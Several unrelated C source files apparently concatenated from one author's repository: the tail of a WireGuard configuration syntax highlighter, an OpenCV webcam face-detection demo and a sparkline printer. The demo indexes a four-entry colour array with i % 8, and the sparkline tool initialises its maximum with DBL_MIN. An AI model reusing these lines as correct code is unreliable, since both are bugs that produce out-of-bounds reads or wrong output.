0;\n\n\t\t\tif (cidr.len > 3 || !cidr.len)\n\t\t\t\treturn false;\n\n\t\t\tfor (size_t j = 0; j < cidr.len; ++j) {\n\t\t\t\tif (!is_decimal(cidr.s[j]))\n\t\t\t\t\treturn false;\n\t\t\t\tcidrval = 10 * cidrval + cidr.s[j] - '0';\n\t\t\t}\n\t\t\tif (is_valid_ipv4(ip))\n\t\t\t\treturn cidrval <= 32;\n\t\t\telse if (is_valid_ipv6(ip))\n\t\t\t\treturn cidrval <= 128;\n\t\t\treturn false;\n\t\t}\n\t}\n\treturn is_valid_ipv4(s) || is_valid_ipv6(s);\n}\n\nenum field {\n\tInterfaceSection,\n\tPrivateKey,\n\tListenPort,\n\tAddress,\n\tDNS,\n\tMTU,\n\tTable,\n\tPreUp, PostUp, PreDown, PostDown,\n\n\tPeerSection,\n\tPublicKey,\n\tPresharedKey,\n\tAllowedIPs,\n\tEndpoint,\n\tPersistentKeepalive,\n\n\tInvalid\n};\n\nstatic enum field section_for_field(enum field t)\n{\n\tif (t > InterfaceSection && t < PeerSection)\n\t\treturn InterfaceSection;\n\tif (t > PeerSection && t < Invalid)\n\t\treturn PeerSection;\n\treturn Invalid;\n}\n\nstatic enum field get_field(string_span_t s)\n{\n#define check_enum(t) do { if (is_caseless_same(s, #t)) return t; } while (0)\n\tcheck_enum(PrivateKey);\n\tcheck_enum(ListenPort);\n\tcheck_enum(Address);\n\tcheck_enum(DNS);\n\tcheck_enum(MTU);\n\tcheck_enum(PublicKey);\n\tcheck_enum(PresharedKey);\n\tcheck_enum(AllowedIPs);\n\tcheck_enum(Endpoint);\n\tcheck_enum(PersistentKeepalive);\n\tcheck_enum(Table);\n\tcheck_enum(PreUp);\n\tcheck_enum(PostUp);\n\tcheck_enum(PreDown);\n\tcheck_enum(PostDown);\n\treturn Invalid;\n#undef check_enum\n}\n\nstatic enum field get_sectiontype(string_span_t s)\n{\n\tif (is_caseless_same(s, \"[Peer]\"))\n\t\treturn PeerSection;\n\tif (is_caseless_same(s, \"[Interface]\"))\n\t\treturn InterfaceSection;\n\treturn Invalid;\n}\n\nstruct highlight_span_array {\n\tsize_t len, capacity;\n\tstruct highlight_span *spans;\n};\n\n/* A useful OpenBSD-ism. */\nstatic void *realloc_array(void *optr, size_t nmemb, size_t size)\n{\n\tif ((nmemb >= (size_t)1 << (sizeof(size_t) * 4) ||\n\t     size >= (size_t)1 << (sizeof(size_t) * 4)) &&\n\t    nmemb > 0 && SIZE_MAX / nmemb < size) {\n\t\terrno = ENOMEM;\n\t\treturn NULL;\n\t}\n\treturn realloc(optr, size * nmemb);\n}\n\nstatic bool append_highlight_span(struct highlight_span_array *a, const char *o, string_span_t s, enum highlight_type t)\n{\n\tif (!s.len)\n\t\treturn true;\n\tif (a->len >= a->capacity) {\n\t\tstruct highlight_span *resized;\n\n\t\ta->capacity = a->capacity ? a->capacity * 2 : 64;\n\t\tresized = realloc_array(a->spans, a->capacity, sizeof(*resized));\n\t\tif (!resized) {\n\t\t\tfree(a->spans);\n\t\t\tmemset(a, 0, sizeof(*a));\n\t\t\treturn false;\n\t\t}\n\t\ta->spans = resized;\n\t}\n\ta->spans[a->len++] = (struct highlight_span){ t, s.s - o, s.len };\n\treturn true;\n}\n\nstatic void highlight_multivalue_value(struct highlight_span_array *ret, const string_span_t parent, const string_span_t s, enum field section)\n{\n\tswitch (section) {\n\tcase DNS:\n\t\tif (is_valid_ipv4(s) || is_valid_ipv6(s))\n\t\t\tappend_highlight_span(ret, parent.s, s, HighlightIP);\n\t\telse if (is_valid_hostname(s))\n\t\t\tappend_highlight_span(ret, parent.s, s, HighlightHost);\n\t\telse\n\t\t\tappend_highlight_span(ret, parent.s, s, HighlightError);\n\t\tbreak;\n\tcase Address:\n\tcase AllowedIPs: {\n\t\tsize_t slash;\n\n\t\tif (!is_valid_network(s)) {\n\t\t\tappend_highlight_span(ret, parent.s, s, HighlightError);\n\t\t\tbreak;\n\t\t}\n\t\tfor (slash = 0; slash < s.len; ++slash) {\n\t\t\tif (s.s[slash] == '/')\n\t\t\t\tbreak;\n\t\t}\n\t\tif (slash == s.len) {\n\t\t\tappend_highlight_span(ret, parent.s, s, HighlightIP);\n\t\t} else {\n\t\t\tappend_highlight_span(ret, parent.s, (string_span_t){ s.s, slash }, HighlightIP);\n\t\t\tappend_highlight_span(ret, parent.s, (string_span_t){ s.s + slash, 1 }, HighlightDelimiter);\n\t\t\tappend_highlight_span(ret, parent.s, (string_span_t){ s.s + slash + 1, s.len - slash - 1 }, HighlightCidr);\n\t\t}\n\t\tbreak;\n\t}\n\tdefault:\n\t\tappend_highlight_span(ret, parent.s, s, HighlightError);\n\t}\n}\n\nstatic void highlight_multivalue(struct highlight_span_array *ret, const string_span_t parent, const string_span_t s, enum field section)\n{\n\tstring_span_t current_span = { s.s, 0 };\n\tsize_t len_at_last_space = 0;\n\n\tfor (size_t i = 0; i < s.len; ++i) {\n\t\tif (s.s[i] == ',') {\n\t\t\tcurrent_span.len = len_at_last_space;\n\t\t\thighlight_multivalue_value(ret, parent, current_span, section);\n\t\t\tappend_highlight_span(ret, parent.s, (string_span_t){ s.s + i, 1 }, HighlightDelimiter);\n\t\t\tlen_at_last_space = 0;\n\t\t\tcurrent_span = (string_span_t){ s.s + i + 1, 0 };\n\t\t} else if (s.s[i] == ' ' || s.s[i] == '\\t') {\n\t\t\tif (&s.s[i] == current_span.s && !current_span.len)\n\t\t\t\t++current_span.s;\n\t\t\telse\n\t\t\t\t++current_span.len;\n\t\t} else {\n\t\t\tlen_at_last_space = ++current_span.len;\n\t\t}\n\t}\n\tcurrent_span.len = len_at_last_space;\n\tif (current_span.len)\n\t\thighlight_multivalue_value(ret, parent, current_span, section);\n\telse if (ret->spans[ret->len - 1].type == HighlightDelimiter)\n\t\tret->spans[ret->len - 1].type = HighlightError;\n}\n\nstatic void highlight_value(struct highlight_span_array *ret, const string_span_t parent, const string_span_t s, enum field section)\n{\n\tswitch (section) {\n\tcase PrivateKey:\n\t\tappend_highlight_span(ret, parent.s, s, is_valid_key(s) ? HighlightPrivateKey : HighlightError);\n\t\tbreak;\n\tcase PublicKey:\n\t\tappend_highlight_span(ret, parent.s, s, is_valid_key(s) ? HighlightPublicKey : HighlightError);\n\t\tbreak;\n\tcase PresharedKey:\n\t\tappend_highlight_span(ret, parent.s, s, is_valid_key(s) ? HighlightPresharedKey : HighlightError);\n\t\tbreak;\n\tcase MTU:\n\t\tappend_highlight_span(ret, parent.s, s, is_valid_mtu(s) ? HighlightMTU : HighlightError);\n\t\tbreak;\n\tcase Table:\n\t\tappend_highlight_span(ret, parent.s, s, is_valid_table(s) ? HighlightTable : HighlightError);\n\t\tbreak;\n\tcase PreUp:\n\tcase PostUp:\n\tcase PreDown:\n\tcase PostDown:\n\t\tappend_highlight_span(ret, parent.s, s, is_valid_prepostupdown(s) ? HighlightCmd : HighlightError);\n\t\tbreak;\n\tcase ListenPort:\n\t\tappend_highlight_span(ret, parent.s, s, is_valid_port(s) ? HighlightPort : HighlightError);\n\t\tbreak;\n\tcase PersistentKeepalive:\n\t\tappend_highlight_span(ret, parent.s, s, is_valid_persistentkeepalive(s) ? HighlightKeepalive : HighlightError);\n\t\tbreak;\n\tcase Endpoint: {\n\t\tsize_t colon;\n\n\t\tif (!is_valid_endpoint(s)) {\n\t\t\tappend_highlight_span(ret, parent.s, s, HighlightError);\n\t\t\tbreak;\n\t\t}\n\t\tfor (colon = s.len; colon --> 0;) {\n\t\t\tif (s.s[colon] == ':')\n\t\t\t\tbreak;\n\t\t}\n\t\tappend_highlight_span(ret, parent.s, (string_span_t){ s.s, colon }, HighlightHost);\n\t\tappend_highlight_span(ret, parent.s, (string_span_t){ s.s + colon, 1 }, HighlightDelimiter);\n\t\tappend_highlight_span(ret, parent.s, (string_span_t){ s.s + colon + 1, s.len - colon - 1 }, HighlightPort);\n\t\tbreak;\n\t}\n\tcase Address:\n\tcase DNS:\n\tcase AllowedIPs:\n\t\thighlight_multivalue(ret, parent, s, section);\n\t\tbreak;\n\tdefault:\n\t\tappend_highlight_span(ret, parent.s, s, HighlightError);\n\t}\n}\n\nstruct highlight_span *highlight_config(const char *config)\n{\n\tstruct highlight_span_array ret = { 0 };\n\tconst string_span_t s = { config, strlen(config) };\n\tstring_span_t current_span = { s.s, 0 };\n\tenum field current_section = Invalid, current_field = Invalid;\n\tenum { OnNone, OnKey, OnValue, OnComment, OnSection } state = OnNone;\n\tsize_t len_at_last_space = 0, equals_location = 0;\n\n\tfor (size_t i = 0; i <= s.len; ++i) {\n\t\tif (i == s.len || s.s[i] == '\\n' || (state != OnComment && s.s[i] == '#')) {\n\t\t\tif (state == OnKey) {\n\t\t\t\tcurrent_span.len = len_at_last_space;\n\t\t\t\tappend_highlight_span(&ret, s.s, current_span, HighlightError);\n\t\t\t} else if (state == OnValue) {\n\t\t\t\tif (current_span.len) {\n\t\t\t\t\tappend_highlight_span(&ret, s.s, (string_span_t){ s.s + equals_location, 1 }, HighlightDelimiter);\n\t\t\t\t\tcurrent_span.len = len_at_last_space;\n\t\t\t\t\thighlight_value(&ret, s, current_span, current_field);\n\t\t\t\t} else {\n\t\t\t\t\tappend_highlight_span(&ret, s.s, (string_span_t){ s.s + equals_location, 1 }, HighlightError);\n\t\t\t\t}\n\t\t\t} else if (state == OnSection) {\n\t\t\t\tcurrent_span.len = len_at_last_space;\n\t\t\t\tcurrent_section = get_sectiontype(current_span);\n\t\t\t\tappend_highlight_span(&ret, s.s, current_span, current_section == Invalid ? HighlightError : HighlightSection);\n\t\t\t} else if (state == OnComment) {\n\t\t\t\tappend_highlight_span(&ret, s.s, current_span, HighlightComment);\n\t\t\t}\n\t\t\tif (i == s.len)\n\t\t\t\tbreak;\n\t\t\tlen_at_last_space = 0;\n\t\t\tcurrent_field = Invalid;\n\t\t\tif (s.s[i] == '#') {\n\t\t\t\tcurrent_span = (string_span_t){ s.s + i, 1 };\n\t\t\t\tstate = OnComment;\n\t\t\t} else {\n\t\t\t\tcurrent_span = (string_span_t){ s.s + i + 1, 0 };\n\t\t\t\tstate = OnNone;\n\t\t\t}\n\t\t} else if (state == OnComment) {\n\t\t\t++current_span.len;\n\t\t} else if (s.s[i] == ' ' || s.s[i] == '\\t') {\n\t\t\tif (&s.s[i] == current_span.s && !current_span.len)\n\t\t\t\t++current_span.s;\n\t\t\telse\n\t\t\t\t++current_span.len;\n\t\t} else if (s.s[i] == '=' && state == OnKey) {\n\t\t\tcurrent_span.len = len_at_last_space;\n\t\t\tcurrent_field = get_field(current_span);\n\t\t\tenum field section = section_for_field(current_field);\n\t\t\tif (section == Invalid || current_field == Invalid || section != current_section)\n\t\t\t\tappend_highlight_span(&ret, s.s, current_span, HighlightError);\n\t\t\telse\n\t\t\t\tappend_highlight_span(&ret, s.s, current_span, HighlightField);\n\t\t\tequals_location = i;\n\t\t\tcurrent_span = (string_span_t){ s.s + i + 1, 0 };\n\t\t\tstate = OnValue;\n\t\t} else {\n\t\t\tif (state == OnNone)\n\t\t\t\tstate = s.s[i] == '[' ? OnSection : OnKey;\n\t\t\tlen_at_last_space = ++current_span.len;\n\t\t}\n\t}\n\n\tappend_highlight_span(&ret, s.s, (string_span_t){ s.s, -1 }, HighlightEnd);\n\treturn ret.spans;\n}\n\n#include <stdio.h>\n#include <cv.h>\n#include <highgui.h>\n \nint main(int argc, char **argv)\n{\n\tCvCapture *capture = 0;\n\tIplImage *frame = 0;\n\tIplImage *small = 0;\n\tint key = 0;\n\tcapture = cvCreateCameraCapture(-1);\n\tif (!capture) {\n\t\tfprintf(stderr, \"Webcam no bueno.\\n\");\n\t\treturn 1;\n\t}\n\tcvNamedWindow(\"Jason's Wonderful OpenCV Test\", CV_WINDOW_AUTOSIZE);\t\n\tCvMemStorage* storage = cvCreateMemStorage(0);\n\tCvHaarClassifierCascade* cascade = (CvHaarClassifierCascade*)cvLoad(\"/usr/share/opencv/haarcascades/haarcascade_frontalface_default.xml\");\n\tstatic CvScalar colors[] = {{{0, 255, 255}}, {{0, 128, 255}}, {{0, 255, 255}}, {{255, 0, 255}}};\n\t\n\twhile (key != 'q') {\n\t\tframe = cvQueryFrame(capture);\n\t\tif (!frame)\n\t\t\tbreak;\n\n\t\tsmall = cvCreateImage(cvSize(frame->width / 2, frame->height / 2), IPL_DEPTH_8U, 3);\n\t\tcvPyrDown(frame, small, CV_GAUSSIAN_5x5);\n\t\tcvClearMemStorage(storage);\n\t\tCvSeq* objects = cvHaarDetectObjects(small, cascade, storage, 1.2, 2, CV_HAAR_DO_CANNY_PRUNING, cvSize(small->width / 8, small->height / 8));\n\t\tcvReleaseImage(&small);\n\t\tCvRect* r;\n\t\tfor (int i = 0; i < (objects ? objects->total : 0); ++i) {\n\t\t\tr = (CvRect*)cvGetSeqElem(objects, i);\n\t\t\tcvEllipse(frame, cvPoint(r->x * 2 + r->width, r->y * 2 + r->height), cvSize(r->width, r->height), 0, 0, 360, colors[i % 8], 2);\n\t\t}\n\t\tcvShowImage(\"Jason's Wonderful OpenCV Test\", frame);\n\t\tkey = cvWaitKey(1);\n\t}\n\tcvDestroyWindow(\"Jason's Wonderful OpenCV Test\");\n\tcvReleaseCapture(&capture);\n\treturn 0;\n}\n\n#define _POSIX_SOURCE\n#include <stdio.h>\n#include <stdlib.h>\n#include <math.h>\n#include <float.h>\n#include <string.h>\n#include <unistd.h>\n\nint main(int argc, char *argv[])\n{\n\tif (isatty(fileno(stdin)) && (argc < 2 || !strcmp(argv[1], \"-h\") || !strcmp(argv[1], \"--help\"))) {\n\t\tfprintf(stderr, \"Spark\\n  by Jason A. Donenfeld <Jason@zx2c4.com>\\n\\n\");\n\t\tfprintf(stderr, \"Usage: %s [number] [number] [number] ...\\n\", argv[0]);\n\t\tfprintf(stderr, \"If no arguments are given, read from stdin numbers delimited by\\n\");\n\t\tfprintf(stderr, \"any characters except 0 1 2 3 4 5 6 7 8 9 . - e E.\\n\");\n\t\treturn 1;\n\t}\n\tdouble *values;\n\tint total;\n\tdouble max = DBL_MIN;\n\tdouble min = DBL_MAX;\n\tif (argc > 1) {\n\t\ttotal = argc - 1;\n\t\tvalues = malloc(sizeof(double) * total);\n\t\tif (!values) {\n\t\t\tperror(\"malloc\");\n\t\t\treturn 2;\n\t\t}\n\t\tfor (int i = 0; i < total; ++i) {\n\t\t\tvalues[i] = atof(argv[i + 1]);\n\t\t\tif (values[i] > max)\n\t\t\t\tmax = values[i];\n\t\t\tif (values[i] < min)\n\t\t\t\tmin = values[i];\n\t\t}\n\t} else {\n\t\tchar buffer[32];\n\t\tint i = 0;\n\t\tint c = 0;\n\t\tint size = 16;\n\t\ttotal = 0;\n\t\tvalues = malloc(sizeof(double) * size);\n\t\tif (!values) {\n\t\t\tperror(\"malloc\");\n\t\t\treturn 2;\n\t\t}\n\t\twhile (c != EOF) {\n\t\t\tfor (;;) {\n\t\t\t\tc = getchar();\n\t\t\t\tif ((c >= '0' && c <= '9') || c == '.' || c == '-' || c == 'e' || c == 'E')\n\t\t\t\t\tbuffer[i++] = c;\n\t\t\t\telse\n\t\t\t\t\tbreak;\n\t\t\t\tif (i == 31)\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\tbuffer[i] = '\\0';\n\t\t\tif (i) {\n\t\t\t\tif (total == size) {\n\t\t\t\t\tsize *= 2;\n\t\t\t\t\tvalues = realloc(values, sizeof(double) * size);\n\t\t\t\t\tif (!values) {\n\t\t\t\t\t\tperror(\"realloc\");\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tvalues[total] = atof(buffer);\n\t\t\t\tif (values[total] > max)\n\t\t\t\t\tmax = values[total];\n\t\t\t\tif (values[total] < min)\n\t\t\t\t\tmin = values[total];\n\t\t\t\t++total;\n\t\t\t}\n\t\t\ti = 0;\n\t\t}\n\t}\n\n\tdouble difference = max - min + 1;\n\tif (difference < 1)\n\t\tdifference = 1;\n\tconst int levels = 8;\n\tfor (int i = 0; i < total; ++i) {\n\t\tputchar('\\xe2');\n\t\tputchar('\\x96');\n\t\tputchar('\\x81' + (int)round((values[i] - min + 1) / difference * (levels - 1)));\n\t}\n\tputchar('\\n');\n\n\tfree(values);\n\treturn 0;\n}\n\n"}